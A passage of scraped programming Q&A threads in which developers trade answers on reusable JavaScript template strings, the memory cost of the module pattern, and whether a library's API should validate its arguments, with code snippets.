return `${a}.${b}`;
}
You could just use a one-liner tagged template, like:
const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
and in client code your consume it like:
const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
This is my best attempt:
var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'
To generalify:
var s = (<variable names you want>) => {return `<template with those variables>`}
If you are not running E6, you could also do:
var s = function(<variable names you want>){return `<template with those variables>`}
This seems to be a bit more concise than the previous answers.
https://repl.it/#abalter/reusable-JS-template-literal
I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.
Solution:
const interp = template => _thisObj =>
function() {
return template.replace(/\${([^}]*)}/g, (_, k) =>
eval(
k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
)
)
);
}.call(_thisObj);
Use as such:
console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
const fillTemplate = (template, values) => {
template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};
console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter
UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:
format("This is a test: ${a_b}", {a_b: a+b});
ORIGINAL ANSWER:
Based in the previous answers but creating a more "friendly" utility function:
var format = (template, params) => {
let tpl = template.replace(/\${(?!this\.)/g, "${this.");
let tpl_func = new Function(`return \`${tpl}\``);
return tpl_func.call(params);
}
You can invoque it just like:
format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});
And the resulting string should be:
'This is a test: Hola, second param: Hi'
I just publish one npm package that can simply do this job.
Deeply inspired by this answer.
const Template = require('dynamic-template-string');
var tpl = new Template('hello ${name}');
tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';
Its implement is deadly simple. Wish you will like it.
module.exports = class Template {
constructor(str) {
this._func = new Function(`with(this) { return \`${str}\`; }`);
}
fill(data) {
return this._func.call(data);
}
}
you can use inline arrow function like this,
definition:
const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;
usage:
console.log(template('my replaced string'));
Runtime template string
var templateString = (template, values) => {
let output = template;
Object.keys(values)
.forEach(key => {
output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
});
return output;
};
Test
console.debug(templateString('hello ${word} world', {word: 'wonderful'}));
You can use the following function to resolve dynamically templates, supplying new data.
This use a non really common feature of javascript called Tagged Template Literal
function template(...args) {
return (values) =>
args[0].reduce(
(acum, current, index) =>
acum.concat(
current, values[index] === undefined ? '' : values[index]
),
''
)
}
const person = 'Lydia';
const age = 21;
template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?
This gave me a major headache when I came across it. Literal templates in javascript are very cool BUT they **** as reusable or with dynamic values. But the solution is amazingly simple. So simple in fact I had to kick myself several times after spending a few days coding parsers and formatters and other solutions that ALL dead ended. In the end after I gave up on the idea and was going to use mustache or other template module, it hit me.....
const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }
//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'
And that is all she wrote.
If you are using Angular, you can use #ngx-translate/core package as follows:
import { TranslateDefaultParser } from '#ngx-translate/core';
export class SomeClass {
public parser = new TranslateDefaultParser();
test() {
// outputs "This is my great reusable template!"
this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
}
...
}
I solved this interpolation template using:
function flatKeys(inputObject: any): {[key: string]: any} {
const response: {[key: string]: any} = {};
function iterative(currentObject: any, parentKeys: string[]=[]) {
const llaves = Object.keys(currentObject);
for (let i=0; i<llaves.length; i++) {
const llave: string = llaves[i];
const valor = currentObject[llave];
const llavesNext = parentKeys.concat(llave);
if (typeof valor == 'object') {
iterative(valor, llavesNext);
} else {
response[llavesNext.join('.')] = valor;
}
}
}
iterative(inputObject);
return response;
}
function interpolate(template: string, values: any, defaultValue='') {
const flatedValues = flatKeys(values);
const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
const value = flatedValues[g];
if ([undefined, null].indexOf(value) >= 0) {
return defaultValue;
}
return value;
});
return interpolated;
}
const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
animal: {
name:"Iguana"
},
alimento: {
name: "café"
},
amigos: [
{ name: "perro" },
true
]
};
const interpolated = interpolate(template, values);
console.log(interpolated);
All props to other answers here for teaching me about a javascript feature that I never knew about -- I knew about string template literals, but not that you could call functions with them without parens!
As a thanks here I'm sharing my typescript adaptation which makes it really easy to make a reusable template with named variables that typescript knows about -- it allows any type because they will get converted to string automagically, but you could adjust that on your own if you dislike the strategy.
/**
* Use this with a template literal in order to create reusable string template;
* use interpolation to add strings for each variable you want to use in the template.
*
* e.g.:
*
* const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
*
* You can then call it with:
*
* const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
* // John and Jane are going to Paris
*
* reUsableStringTemplate will have types and know the names of your variables
*
* #returns String template function with full typescript types
*/
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
return (opts: Record<keys, any>) => {
let outStr = '';
for (let i = 0; i < parts.length; ++i) {
outStr += parts[i];
const key = keys.shift();
if (key && key in opts) {
outStr += opts[key];
} else {
outStr += key ?? '';
}
}
return outStr;
};
}

How much memory is allocated when using the Module Pattern?

I want to refactor Snippet 1 to Snippet 2. I don't think performance is quite an issue here considering the size, but I wanted to understand what was going on as far as memory use goes regarding this refactor to the module pattern.
The module pattern ensures that I only pull in this data from the DOM once which is what I want and it also forms a mini-registry pattern in that the data is private.
Both snippets have been tested and basically work.
Snippet 1 // Replace SUniverisals w/ SU
var SUniversals = function () {
// Pull from Server
this.universals.path = document.getElementById('universals').getAttribute('data-path');
this.universals.load = document.getElementById('universals').getAttribute('data-load');
// Set Manually
this.universals.debug = false;
};
SUniversals.prototype.universals = {};
SUniversals.prototype.get = function( key ) {
return this.universals[ key ];
};
SUniversals.prototype.set = function( key, value ) {
this.universals[ key ] = value;
};
Snippet 2
var SU = ( function ()
{
// private SU.get('load');
var universals = {};
universals.path = document.getElementById('universals').getAttribute('data-path');
universals.load = document.getElementById('universals').getAttribute('data-load');
universals.debug = false;
// pubulic
var publik = {};
publik.get = function( key )
{
return universals[ key ];
};
publik.set = function( key, value )
{
universals[ key ] = value;
};
return publik;
}());
There are few things which are different. Snippet 2 is essentially creating a singleton. Snippet 1 can be looked at like a 'class'. You can create multiple instances/objects of 'SUniversals' and do different things with them.
Actually, snippet 1 is more efficient in terms of memory. By adding to the object's prototype, you essentially will have only 1 copy of each function irrespective of the number of objects you create. The module pattern will create separate entities.
Not enough to worry about ;-)
Seriously, the only thing you need to worry about with the module pattern is creating memory leaks; by itself the pattern uses basically nothing.

Should we validate method arguments in JavaScript API's?

I'm developing a JavaScript library that will be used by 3rd party developers.
The API includes methods with this signature:
function doSomething(arg1, arg2, options)
arg1, arg2 are 'required' simple type arguments.
options is a hash object containing optional arguments.
Would you recommend to validate that:
- argument types are valid?
- options attributes are correct? For example: that the developer didn't pass by mistake onSucces instead of onSuccess?
why do popular libraries like prototype.js do not validate?
You have the right to decide whether to make a "defensive" vs. a "contractual" API. In many cases, reading the manual of a library can make it clear to it's user that he should provide arguments of this or that type that obey these and those constraints.
If you intend to make a very intuitive, user friendly, API, it would be nice to validate your arguments, at least in debug mode. However, validation costs time (and source code => space), so it may also be nice to leave it out.
It's up to you.
Validate as much as you can and print useful error messages which help people to track down problems quickly and easily.
Quote this validation code with some special comments (like //+++VALIDATE and //--VALIDATE) so you can easily remove it with a tool for a high-speed, compressed production version.
Thanks for the detailed answers.
Below is my solution - a utility object for validations that can easily be extended to validate basically anything...
The code is still short enough so that I dont need to parse it out in production.
WL.Validators = {
/*
* Validates each argument in the array with the matching validator.
* #Param array - a JavaScript array.
* #Param validators - an array of validators - a validator can be a function or
* a simple JavaScript type (string).
*/
validateArray : function (array, validators){
if (! WL.Utils.isDevelopmentMode()){
return;
}
for (var i = 0; i < array.length; ++i ){
WL.Validators.validateArgument(array[i], validators[i]);
}
},
/*
* Validates a single argument.
* #Param arg - an argument of any type.
* #Param validator - a function or a simple JavaScript type (string).
*/
validateArgument : function (arg, validator){
switch (typeof validator){
// Case validation function.
case 'function':
validator.call(this, arg);
break;
// Case direct type.
case 'string':
if (typeof arg !== validator){
throw new Error("Invalid argument '" + Object.toJSON(arg) + "' expected type " + validator);
}
break;
}
},
/*
* Validates that each option attribute in the given options has a valid name and type.
* #Param options - the options to validate.
* #Param validOptions - the valid options hash with their validators:
* validOptions = {
* onSuccess : 'function',
* timeout : function(value){...}
* }
*/
validateOptions : function (validOptions, options){
if (! WL.Utils.isDevelopmentMode() || typeof options === 'undefined'){
return;
}
for (var att in options){
if (! validOptions[att]){
throw new Error("Invalid options attribute '" + att + "', valid attributes: " + Object.toJSON(validOptions));
}
try {
WL.Validators.validateArgument(options[att], validOptions[att]);
}
catch (e){
throw new Error("Invalid options attribute '" + att + "'");
}
}
},
};
Heres a few examples of how I use it:
isUserAuthenticated : function(realm) {
WL.Validators.validateArgument(realm, 'string');
getLocation: function(options) {
WL.Validators.validateOptions{
onSuccess: 'function',
onFailure: 'function'}, options);
makeRequest : function(url, options) {
WL.Validators.validateArray(arguments, ['string',
WL.Validators.validateOptions.carry({
onSuccess : 'function',
onFailure : 'function',
timeout : 'number'})]);
We have to discover and eliminate problems as soon as possible. If don't use TypeScript or Flow, you rather do it with a validation lib. It will help you avoiding spending hours hunting obscure errors caused by invalid types given as arguments. It looks like many take it serious - https://www.npmjs.com/package/aproba gets currently 9M(!) downloads per week.
To me it doesn't suite, explained here http://dsheiko.com/weblog/validating-arguments-in-javascript-like-a-boss
I go with https://www.npmjs.com/package/bycontract that based on JSDoc expressions:
import { validate } from "bycontract";
const PdfOptionsType = {
scale: "?number"
}
function pdf( path, w, h, options, callback ) {
validate( arguments, [
"string",
"!number",
"!number",
PdfOptionsType,
"function=" ] );
//...
return validate( returnValue, "Promise" );
}
pdf( "/tmp/test.pdf", 1, 1, { scale: 1 } ); // ok
pdf( "/tmp/test.pdf", "1", 1, { scale: 1 } ); // ByContractError: Argument #1: expected non-nullable but got string
On methods you can just reuse existing JSDoc comment block:
import { validateJsdoc, typedef } from "bycontract";
typedef("#PdfOptionsType", {
scale: "number"
});
class Page {
#validateJsdoc(`
#param {string} path
#param {!number} w
#param {!number} h
#param {#PdfOptionsType} options
#param {function=} callback
#returns {Promise}
`)
pdf( path, w, h, options, callback ) {
return Promise.resolve();
}
}
However I keep this validation on dev/test environments, but skip it on live:
import { config } from "bycontract";
if ( process.env.NODE_ENV === "production" ) {
config({ enable: false });
}
It depends. How big this library would be? It is said that typed languages are better for big projects with complex API. Since JS is to some extent hybrid, you can choose.
About validation - I don't like defensive programming, the user of the function shall be obliged to pass valid arguments. And in JS size of code matters.
An intermediate way would be to return a reasonable default value (e.g. null) when required arguments are missing. In this way, the user's code will fail, not yours. And it will probably be easier for them to figure out what is the issue in their code rather than in yours.
When I've developed APIs like these in the past, I've validated anything that I feel is a "major" requirement - in your example, I'd verify the first two arguments.
As long as you specify sensible defaults, it should be pretty simple for your user to determine that "optional" arguments aren't specified correctly, since it won't make any change to the application, but everything will still work properly.
If the API is complex, I'd suggest following Aaron's advice - add comments that can be parsed by a compressor around your validation so the developers get the benefit of validation, but can extract the extra dead weight when pushing the code into production.
EDIT:
Here're some examples of what I like to do in the cases where validation is necessary. This particular case is pretty simple; I probably wouldn't bother with validation for it, since it really is trivial. Depending on your needs, sometimes attempting to force types would be better than validation, as demonstrated with the integer value.
Assume extend() is a function that merges objects, and the helper functions exist:
var f = function(args){
args = extend({
foo: 1,
bar: function(){},
biz: 'hello'
}, args || {});
// ensure foo is an int.
args.foo = parseInt(args.foo);
//<validation>
if(!isNumeric(args.foo) || args.foo > 10 || args.foo < 0){
throw new Error('foo must be a number between 0 and 10');
}
if(!isFunction(args.bar)){
throw new Error('bar must be a valid function');
}
if(!isString(args.biz) || args.biz.length == 0){
throw new Error('biz must be a string, and cannot be empty');
}
//</validation>
};
EDIT 2:
If you want to avoid common misspellings, you can either 1) accept and re-assign them or 2) validate the argument count. Option 1 is easy, option 2 could be done like this, although I'd definitely refactor it into its own method, something like Object.extendStrict() (example code works w/ prototype):
var args = {
ar: ''
};
var base = {
foo: 1,
bar: function(){},
biz: 'hello'
};
// save the original length
var length = Object.keys(base).length;
// extend
args = Object.extend(base, args || {});
// detect if there're any extras
if(Object.keys(args).length != length){
throw new Error('Invalid argument specified. Please check the options.')
}
Don't validate. More code is more code the user has to download, so it's a very real cost on the user and production systems. Argument errors are easy enough to catch by the developer; don't burden the user with such.

Categories